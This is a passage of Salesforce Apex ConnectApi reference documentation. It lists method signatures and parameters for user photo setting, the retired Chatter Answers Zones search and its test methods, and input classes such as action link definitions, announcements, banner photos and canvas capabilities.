Type: ConnectApi.BannerPhotoInput
1428
UserProfiles ClassReference
A ConnectApi.BannerPhotoInput object specifying the cropping parameters.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.BannerPhoto
Usage
Photos are processed asynchronously and may not be visible right away.
setPhoto(communityId, userId, fileId, versionNumber)
Sets the user photo to be the specified, already uploaded file.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId, String
fileId, Integer versionNumber)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
fileId
Type: String
ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.
versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.
1429
UserProfiles ClassReference
Return Value
Type: ConnectApi.Photo
Usage
Photos are processed asynchronously and may not be visible right away.
setPhoto(communityId, userId, fileUpload)
Sets the provided blob to be the photo for the specified user. The content type must be usable as an image.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.Photo setPhoto(String communityId, String userId,
ConnectApi.BinaryInput fileUpload)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.Photo
Usage
Photos are processed asynchronously and may not be visible right away.
setPhotoWithAttributes(communityId, userId, photo)
Sets and crops the existing file as the photo for the specified user. The content type must be usable as an image.
1430
UserProfiles ClassReference
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.
Return Value
Type: ConnectApi.Photo
Usage
Photos are processed asynchronously and may not be visible right away.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Sets and crops the provided blob as the photo for the specified user. The content type must be usable as an image.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId,
ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)
1431
UserProfiles ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
userId
Type: String
The ID for the context user or the keyword me.
photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.
fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.
Return Value
Type: ConnectApi.Photo
Usage
Photos are processed asynchronously and may not be visible right away.
Zones Class
Access information about Chatter Answers zones in your organization. Zones organize questions into logical groups, with each zone
having its own focus and unique questions.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
Namespace
ConnectApi
Zones Methods
The following are methods for Zones. All methods are static.
IN THIS SECTION:
getZone(communityId, zoneId)
Returns a specific zone based on the zone ID.
getZones(communityId)
Returns a paginated list of zones.
1432
Zones ClassReference
getZones(communityId, pageParam, pageSize)
Returns a paginated list of zones with the specified page and page size.
searchInZone(communityId, zoneId, q, filter)
Search a zone by keyword. Specify whether to search articles or questions.
searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)
Search a zone by keyword. Specify whether to search articles or questions and specify the page of information to view and the page
size.
searchInZone(communityId, zoneId, q, filter, language)
Search a zone by keyword. Specify the language of the results and specify whether to search articles or questions.
getZone(communityId, zoneId)
Returns a specific zone based on the zone ID.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Zone getZone(String communityId, String zoneId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
zoneId
Type: String
The ID of a zone.
Return Value
Type: ConnectApi.Zone
getZones(communityId)
Returns a paginated list of zones.
1433
Zones ClassReference
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.ZonePage getZones(String communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.ZonePage
getZones(communityId, pageParam, pageSize)
Returns a paginated list of zones with the specified page and page size.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Zone getZones(String communityId, Integer pageParam, Integer
pageSize)
Parameters
communityId
Type: String
1434
Zones ClassReference
Use either the ID for a community, internal, or null.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ZonePage
searchInZone(communityId, zoneId, q, filter)
Search a zone by keyword. Specify whether to search articles or questions.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
29.0
Available to Guest Users
37.0
Requires Chatter
No
Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId,
String q, ConnectApi.ZoneSearchResultType filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
zoneId
Type: String
zoneId—The ID of a zone.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
1435
Zones ClassReference
filter
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
•Article—Search results contain only articles.
•Question—Search results contain only questions.
Return Value
Type: ConnectApi.ZoneSearchPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, result)
Testing ConnectApi Code
searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)
Search a zone by keyword. Specify whether to search articles or questions and specify the page of information to view and the page
size.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
29.0
Available to Guest Users
37.0
Requires Chatter
No
Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId,
String q, ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize)
Parameters
communityId
Type: String
1436
Zones ClassReference
Use either the ID for a community, internal, or null.
zoneId
Type: String
zoneId—The ID of a zone.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
•Article—Search results contain only articles.
•Question—Search results contain only questions.
pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.ZoneSearchPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize, result)
Testing ConnectApi Code
searchInZone(communityId, zoneId, q, filter, language)
Search a zone by keyword. Specify the language of the results and specify whether to search articles or questions.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
36.0
1437
Zones ClassReference
Available to Guest Users
37.0
Requires Chatter
No
Signature
public static ConnectApi.ZoneSearchPage searchInZone(String communityId, String zoneId,
String q, ConnectApi.ZoneSearchResultType filter, String language)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
zoneId
Type: String
The ID of a zone.
q
Type: String
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter
Type: ConnectApi.ZoneSearchResultType
•Article—Search results contain only articles.
•Question—Search results contain only questions.
language
Type: String
The language of the articles or questions. The value must be a Salesforce supported locale code.
Return Value
Type: ConnectApi.ZoneSearchPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchInZone(communityId, zoneId, q, filter, language, result)
1438
Zones ClassReference
Zones Test Methods
The following are the test methods for Zones. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestSearchInZone(communityId, zoneId, q, filter, result)
Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId,
q, filter) is called in a test context.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
29.0
Signature
public static Void setTestSearchInZone(String communityId, String zoneId, String q,
ConnectApi.ZoneSearchResultType filter, ConnectApi.ZoneSearchPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
zoneId
Type: String
zoneId—The ID of a zone.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
•Article—Search results contain only articles.
•Question—Search results contain only questions.
result
Type: ConnectApi.ZoneSearchPage
The object containing test data.
1439
Zones ClassReference
Return Value
Type: Void
SEE ALSO:
searchInZone(communityId, zoneId, q, filter)
Testing ConnectApi Code
setTestSearchInZone(communityId, zoneId, q, filter, pageParam, pageSize,
result)
Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId,
q, filter, pageParam, pageSize) is called in a test context.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
29.0
Signature
public static Void setTestSearchInZone(String communityId, String zoneId, String q,
ConnectApi.ZoneSearchResultType filter, String pageParam, Integer pageSize,
ConnectApi.ZoneSearchPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
zoneId
Type: String
zoneId—The ID of a zone.
q
Type: String
q—Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter
Type: ConnectApi.ZoneSearchResultType
A ZoneSearchResultType enum value. One of the following:
•Article—Search results contain only articles.
•Question—Search results contain only questions.
pageParam
Type: String
1440
Zones ClassReference
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as
currentPageToken or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result
Type: ConnectApi.ZoneSearchPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchInZone(communityId, zoneId, q, filter, pageParam, pageSize)
Testing ConnectApi Code
setTestSearchInZone(communityId, zoneId, q, filter, language, result)
Registers a ConnectApi.ZoneSearchPage object to be returned when searchInZone(communityId, zoneId,
q, filter, language) is called in a test context.
Note: With the Winter ’18 release, Salesforce no longer supports Chatter Answers. Users of Chatter Answers won’t be able to post,
answer, comment, or view any of the existing Chatter Answers data. You have until the Winter ’18 release to complete your
transition to Chatter Questions. For more information, see Chatter Answers to Retire in Winter ’18.
API Version
36.0
Signature
public static Void setTestSearchInZone(String communityId, String zoneId, String q,
ConnectApi.ZoneSearchResultType filter, String language, ConnectApi.ZoneSearchPage
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
zoneId
Type: String
The ID of a zone.
q
Type: String
1441
Zones ClassReference
Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
filter
Type: ConnectApi.ZoneSearchResultType
•Article—Search results contain only articles.
•Question—Search results contain only questions.
language
Type: String
The language of the articles or questions. The value must be a Salesforce supported locale code. In an <apex:page>, the default
value is the language of the page. Otherwise, the default value is the user's locale.
result
Type: ConnectApi.ZoneSearchPage
The object containing test data.
Return Value
Type: Void
SEE ALSO:
searchInZone(communityId, zoneId, q, filter, language)
Testing ConnectApi Code
ConnectApi Input Classes
Some ConnectApi methods take arguments that are instances of ConnectApi input classes.
Input classes are concrete unless marked abstract in this documentation. Concrete input classes have public constructors that have no
parameters.
Some methods have parameters that are typed with an abstract class. You must pass in an instance of a concrete child class for these
parameters.
Most input class properties can be set. Read-only properties are noted in this documentation.
ConnectApi.ActionLinkDefinitionInput Class
The definition of an action link. An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate
a file download, or invoke an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can
include a request body and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and
third-party services into the feed so that users can take action to drive productivity and accelerate innovation.
Usage
You can use context variables in the actionUrl, headers, and requestBody properties. Use context variables to pass information
about the user who executed the action link to your server-side code. Salesforce substitutes the value when the action link is executed.
These are the available context variables:
1442
ConnectApi Input ClassesReference
DescriptionContext Variable
The ID of the action link the user executed.{!actionLinkId}
The ID of the action link group containing the action link the user
executed.
{!actionLinkGroupId}
The ID of the community in which the user executed the action
link. The value for your internal organization is the empty key
"000000000000000000".
{!communityId}
The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".
{!communityUrl}
The ID of the organization in which the user executed the action
link.
{!orgId}
The ID of the user that executed the action link.{!userId}
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0Required
Can be defined in an
action link template.
Defines the type of action link. Values are:ConnectApi.
ActionLinkType
actionType
•Api—The action link calls a
synchronous API at the action URL.
Salesforce sets the status to
SuccessfulStatus or
FailedStatus based on the HTTP
status code returned by your server.
•ApiAsync—The action link calls an
asynchronous API at the action URL. The
action remains in a PendingStatus
state until a third party makes a request
to
/connect/action-links/actionLinkId
to set the status to
SuccessfulStatus or
FailedStatus when the
asynchronous operation is complete.
•Download—The action link
downloads a file from the action URL.
•Ui—The action link takes the user to a
Web page at the action URL.
Use Ui if you need to load a page before
the user performs an action, for example, to
have the user provide input or view
something before the action happens.
1443
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
Note: Invoking ApiAsync action
links from an app requires a call to
set the status. However, there isn’t
currently a way to set the status of
an action link using Apex. To set the
status, use Chatter REST API. See the
Action Link resource in the Chatter
REST API Developer Guide for more
information.
33.0Required
Can be defined in an
action link template.
The action link URL. For example, a Ui
action link URL is a Web page. A
Download action link URL is a link to the
file to download. Ui and Download
StringactionUrl
action link URLs are provided to clients. An
Api or ApiAsync action link URL is a
REST resource. Api and ApiAsync
action link URLs aren’t provided to clients.
Links to Salesforce can be relative. All other
links must be absolute and start with
https://.
Tip: To avoid issues due to upgrades
or changing functionality in your API,
we recommend using a versioned
API for actionUrl, for example,
https://www.example.com/
api/v1/exampleResource.
If your API isn’t versioned, you can
use the expirationDate
property of the
ConnectApi.ActionLinkGroup
DefinitionInput class to
avoid issues due to upgrades or
changing functionality in your API.
33.0Optional
Can be defined in an
action link template
ID of a single user to exclude from
performing the action. If you specify an
excludedUserId, you can’t specify a
userId.
StringexcludedUserId
using the User
Visibility and
Custom User
Alias fields.
1444
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0Optional
Can be defined in an
action link template.
true if this action is the default action link
in the action link group; false otherwise.
There can be only one default action link
per action link group. The default action link
gets distinct styling in the Salesforce UI.
BooleangroupDefault
33.0Optional
Can be defined in an
action link template.
The request headers for the Api and
ApiAsync action link types.
See Action Links Overview, Authentication,
and Security.
List<ConnectApi.
RequestHeader
Input>
headers
33.0Required
Can be defined in an
action link template.
Key for the set of labels to show in the user
interface. A set includes labels for these
states: NewStatus, PendingStatus,
SuccessStatus, FailedStatus. For example, if
StringlabelKey
you use the Approve key, you get these
labels: Approve, Pending, Approved, Failed.
For a complete list of keys and labels, see
Action Links Labels.
If none of the predefined labels work for
your action link, use a custom label. To use
a custom label, create an action link
template. See Create Action Link Templates.
33.0Required
Can be defined in an
action link template.
One of these HTTP methods:ConnectApi.
HttpRequest
Method
method
•HttpDelete—Returns HTTP 204 on
success. Response body or output class
is empty.
•HttpGet—Returns HTTP 200 on
success.
•HttpHead—Returns HTTP 200 on
success. Response body or output class
is empty.
•HttpPatch—Returns HTTP 200 on
success or HTTP 204 if the response
body or output class is empty.
•HttpPost—Returns HTTP 201 on
success or HTTP 204 if the response
body or output class is empty.
Exceptions are the batch posting
resources and methods, which return
HTTP 200 on success.
1445
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
•HttpPut—Return HTTP 200 on
success or HTTP 204 if the response
body or output class is empty.
33.0Optional
Can be defined in an
action link template.
The request body for Api action links.StringrequestBody
Note: Escape quotation mark
characters in the requestBody
value.
33.0Required
Can be defined in an
action link template.
true to require the user to confirm the
action; false otherwise.
Booleanrequires
Confirmation
33.0Optional
Can be defined in an
action link template
The ID of the user who can execute the
action. If not specified or null, any user
can execute the action. If you specify a
userId, you can’t specify an
excludedUserId.
StringuserId
using the User
Visibility and
Custom User
Alias fields.
SEE ALSO:
ConnectApi.ActionLinkGroupDefinitionInput Class
ConnectApi.ActionLinkGroupDefinitionInput Class
The definition of an action link group. All action links must belong to a group. Action links in a group are mutually exclusive and share
some properties. Define stand-alone actions in their own action group.
Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this reason, only calls made from
the Apex namespace that created the action link definition can read, modify, or delete the definition. In addition, the user making the
call must have created the definition or have “View All Data” permission.
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0Required to
instantiate this
The action links that make up this group.
Within an action link group, action links are
displayed in the order listed in the
List<ConnectApi.
ActionLink
DefinitionInput>
actionLinks
action link group
without a template.
To instantiate from a
template, don’t
specify a value.
actionLinks property of the
ConnectApi.ActionLinkGroup
DefinitionInput class. Within a feed
item, action link groups are displayed in the
order specified in the
1446
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
actionLinkGroupIds property of
the
ConnectApi.AssociatedActions
CapabilityInput class.
You can create up to three action links in a
Primary group and up to four in an
Overflow group.
33.0Required to
instantiate this
Indicates the priority and relative locations
of action links in an associated feed item.
Values are:
ConnectApi.
PlatformAction
GroupCategory
category
action link group
without a template.
To instantiate from a
template, don’t
specify a value.
•Primary—The action link group is
displayed in the body of the feed
element.
•Overflow—The action link group is
displayed in the overflow menu of the
feed element.
33.0Required to
instantiate this
Defines the number of times an action link
can be executed. Values are:
ConnectApi.
ActionLink
ExecutionsAllowed
executions
Allowed
action link group
without a template.
To instantiate from a
template, don’t
specify a value.
•Once—An action link can be executed
only once across all users.
•OncePerUser—An action link can
be executed only once for each user.
•Unlimited—An action link can be
executed an unlimited number of times
by each user. If the action link’s
actionType is Api or
ApiAsync, you can’t use this value.
33.0Required to
instantiate this
ISO 8601 date string, for example,
2011-02-25T18:24:31.000Z, that represents
DatetimeexpirationDate
action link group
without a template.
Optional to
instantiate from a
template.
the date and time this action link group is
removed from associated feed items and
can no longer be executed. The
expirationDate must be within one
year of the creation date.
If the action link group definition includes
an OAuth token, it is a good idea to set the
expiration date of the action link group to
the same value as the expiration date of the
OAuth token so that users can’t execute the
action link and get an OAuth error.
1447
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
To set a date when instantiating from a
template, see Set the Action Link Group
Expiration Time.
33.0To instantiate
without a template,
don’t specify a value.
Required to
instantiate this
A collection of key-value pairs to fill in
binding variable values or a custom user
alias from an action link template. To
instantiate this action link group from an
action link template that uses binding
variables, you must provide values for all the
variables. See Define Binding Variables.
List<ConnectApi.
ActionLinkTemplate
BindingInput>
templateBindings
action link group
from a template that
uses binding
variables.
33.0To instantiate
without a template,
don’t specify a value.
Required to
instantiate this
The ID of the action link group template
from which to instantiate this action link
group.
StringtemplateId
action link group
from a template.
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
createActionLinkGroupDefinition(communityId, actionLinkGroup)
ConnectApi.ActionLinkTemplateBindingInput
A key-value pair to fill in a binding variable value from an action link template.
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0RequiredThe name of the binding variable key
specified in the action link template in
Stringkey
Setup. For example, if the binding variable
in the template is
{!Binding.firstName}, the key is
firstName
1448
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0RequiredThe value of the binding variable key. For
example, if the key is firstName, this
value could be Joan.
Stringvalue
SEE ALSO:
ConnectApi.ActionLinkGroupDefinitionInput Class
ConnectApi.ActivitySharingInput
Defines who a captured email or event is shared with.
Available VersionRequired or
Optional
DescriptionTypeProperty
39.0OptionalList of IDs for the groups that you share the
activity with. Valid only if sharingType
is MyGroups.
List<String>groupsTo
ShareWith
39.0RequiredType of sharing operation. Values are:ConnectApi.
Activity
SharingType
sharingType
•Everyone—The activity is shared
with everyone.
•MyGroups—The activity is shared
only with a selection of the context
user’s groups.
•OnlyMe—The activity is private.
ConnectApi.AnnouncementInput Class
An announcement.
AvailableRequired or
Optional
DescriptionTypeProperty
31.0Required for
creating an
Text of the announcement.ConnectApi.Message
BodyInput Class
body
announcement if
feedItemId
isn’t specified
Don’t specify for
updating an
announcement.
1449
ConnectApi Input ClassesReference
AvailableRequired or
Optional
DescriptionTypeProperty
31.0Required for
creating an
announcement
Optional for
updating an
announcement
The Salesforce UI displays an announcement
until 11:59 p.m. on this date unless another
announcement is posted first. The Salesforce
UI ignores the time value in the
expirationDate. However, you can use
the time value to create your own display
logic in your own UI.
DatetimeexpirationDate
36.0Required for
creating an
ID of an AdvancedTextPost feed item
that is the body of the announcement.
StringfeedItemId
announcement if
body isn’t
specified
Don’t specify for
updating an
announcement.
36.0OptionalSpecifies whether the announcement is
archived.
BooleanisArchived
36.0Required for
creating an
ID of the parent entity for the announcement,
that is, a group ID when the announcement
appears in a group.
StringparentId
announcement if
feedItemId
isn’t specified
Don’t specify for
updating an
announcement.
36.0Optional for
creating an
announcement
Don’t specify for
updating an
announcement
Specifies whether the announcement is sent
as an email to all group members regardless
of their email setting for the group. If Chatter
emails aren’t enabled for the organization,
announcement emails aren’t sent. Default
value is false.
BooleansendEmails
SEE ALSO:
postAnnouncement(communityId, groupId, announcement)
ConnectApi.AssociatedActionsCapabilityInput Class
A list of action link groups to associate with a feed element. To associate an action link group with a feed element, the call must be made
from the Apex namespace that created the action link definition. In addition, the user making the call must have created the definition
or have “View All Data” permission.
1450
ConnectApi Input ClassesReference
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0RequiredThe action link group IDs to associate with
the feed element. Associate one Primary
List<String>actionLink
GroupIds
and up to 10 total action link groups to a
feed item. Action link groups are returned
in the order specified in this property.
An action link group ID is returned from a
call to ConnectApi.ActionLinks.
createActionLinkGroupDefinition
(communityId,
actionLinkGroup).
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.AudienceCriteriaInput
Recommendation audience criteria type.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass for:
•ConnectApi.CustomListAudienceCriteriaInput
•ConnectApi.NewUserAudienceCriteriaInput
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0Optional
If not specified,
defaults to
CustomList.
Specifies the recommendation audience
criteria type. One of these values:
ConnectApi.
Recommendation
Audience
CriteriaType
type
•CustomList—A custom list of users
makes up the audience.
•MaxDaysInCommunity—New
community members make up the
audience.
SEE ALSO:
ConnectApi.RecommendationAudienceInput
1451
ConnectApi Input ClassesReference
ConnectApi.BannerPhotoInput
A banner photo.
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0OptionalHeight of the crop rectangle in pixels.IntegercropHeight
36.0OptionalWidth of the crop rectangle in pixels.IntegercropWidth
36.0OptionalX position of the crop rectangle from the
left edge of the image in pixels. Top left is
position (0,0).
IntegercropX
36.0OptionalY position of the crop rectangle from the
top edge of the image in pixels. Top left is
position (0,0).
IntegercropY
36.0RequiredID of an existing file. The key prefix must be
069, and the file size must be less than 8 MB.
StringfileId
Note: Images uploaded on the
Group page and on the User page
don’t have file IDs and therefore can’t
be used.
36.0OptionalVersion number of an existing file. If not
provided, the latest version is used.
IntegerversionNumber
ConnectApi.BinaryInput Class
Create a ConnectApi.BinaryInput object to attach files to feed items and comments and to add repository files.
The constructor is:
ConnectApi.BinaryInput(blob, contentType, filename)
The constructor takes these arguments:
Available VersionDescriptionTypeArgument
28.0Contents of the file to be used for inputBlobblob
28.0MIME type description of the content, such as image/jpgStringcontentType
28.0File name with the file extension, such as UserPhoto.jpgStringfilename
SEE ALSO:
Post a Feed Element with a New File (Binary) Attachment
Post a Comment with a New File
ConnectApi.BatchInput Class
1452
ConnectApi Input ClassesReference
ConnectApi.BatchInput Class
Construct a set of inputs to be passed into a method at the same time.
Use this constructor when there isn’t a binary input:
ConnectApi.BatchInput(Object input)
Use this constructor to pass one binary input:
ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)
Use this constructor to pass multiple binary inputs:
ConnectApi.BatchInput(Object input, List<ConnectApi.BinaryInput> binaries)
The constructors takes these parameters:
Available
Version
DescriptionTypeArgument
32.0An individual input object to be used in the batch
operation. For example, for
Objectinput
postFeedElementBatch(), this should
be ConnectApi.FeedElementInput.
32.0A binary file to associate with the input object.ConnectApi.BinaryInputbinary
32.0A list of binary files to associate with the input
object.
List<ConnectApi.BinaryInput>binaries
SEE ALSO:
Post a Batch of Feed Elements
Post a Batch of Feed Elements with New (Binary) Files
ConnectApi.BookmarksCapabilityInput
Create or update a bookmark on a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0NoSpecifies if the feed element should be
bookmarked for the user (true) or not
(false).
BooleanisBookmarked
ByCurrentUser
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
1453
ConnectApi Input ClassesReference
ConnectApi.CanvasAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.CanvasCapabilityInput.
Used to attach a canvas app to a feed item.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Available VersionDescriptionTypeProperty
29.0–31.0Optional. The description of the canvas app.Stringdescription
29.0–31.0The developer name (API name) of the canvas appStringdeveloperName
29.0–31.0Optional. The height of the canvas app in pixels. Default height is 200
pixels.
Stringheight
29.0–31.0Optional. The namespace prefix of the Developer Edition organization in
which the canvas app was created.
StringnamespacePrefix
29.0–31.0Optional. Parameters passed to the canvas app in JSON format. Example:
{'isUpdated'='true'}
Stringparameters
29.0–31.0Optional. A URL to a thumbnail image for the canvas app. Maximum
dimensions are 120x120 pixels.
StringthumbnailUrl
29.0–31.0The title of the link used to call the canvas app.Stringtitle
ConnectApi.CanvasCapabilityInput
Create or update a canvas app associated with a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0OptionalA description of the canvas app. The
maximum size is 255 characters.
Stringdescription
32.0RequiredThe API name (developer name) of the
connected app.
StringdeveloperName
32.0OptionalThe height of the canvas app in pixels.Stringheight
32.0OptionalA unique namespace prefix for the canvas
app.
StringnamespacePrefix
32.0OptionalJSON parameters passed to the canvas app.Stringparameters
32.0OptionalA thumbnail URL to a preview image. The
maximum thumbnail size is 120 pixels by
120 pixels.
StringthumbnailUrl
1454
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0RequiredA title for the canvas link.Stringtitle
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.ChatterStreamInput
A Chatter feed stream.
Available VersionRequired or
Optional
DescriptionTypeProperty
39.0OptionalDescription of the stream, up to 1,000
characters.
Stringdescription
39.0Required when
creating a stream
Optional when
updating a stream
Name of the stream, up to 120 characters.Stringname
39.0OptionalList of up to 25 entities whose feeds are
included in the stream.
Adding an entity that is already added
results in no operation. Including the same
List<ConnectApi.
Stream
Subscription
Input>
subscriptions
ToAdd
entity in subscriptionsToAdd and
subscriptionsToRemove results in
no operation.
39.0Optional when
updating a stream
Not supported when
creating a stream
List of entities whose feeds are removed
from the stream.
Removing an entity that is already removed
results in no operation. Including the same
entity in subscriptionsToAdd and
List<ConnectApi.
Stream
Subscription
Input>
subscriptions
ToRemove
subscriptionsToRemove results in
no operation.
1455
ConnectApi Input ClassesReference
ConnectApi.ChatterGroupInput Class
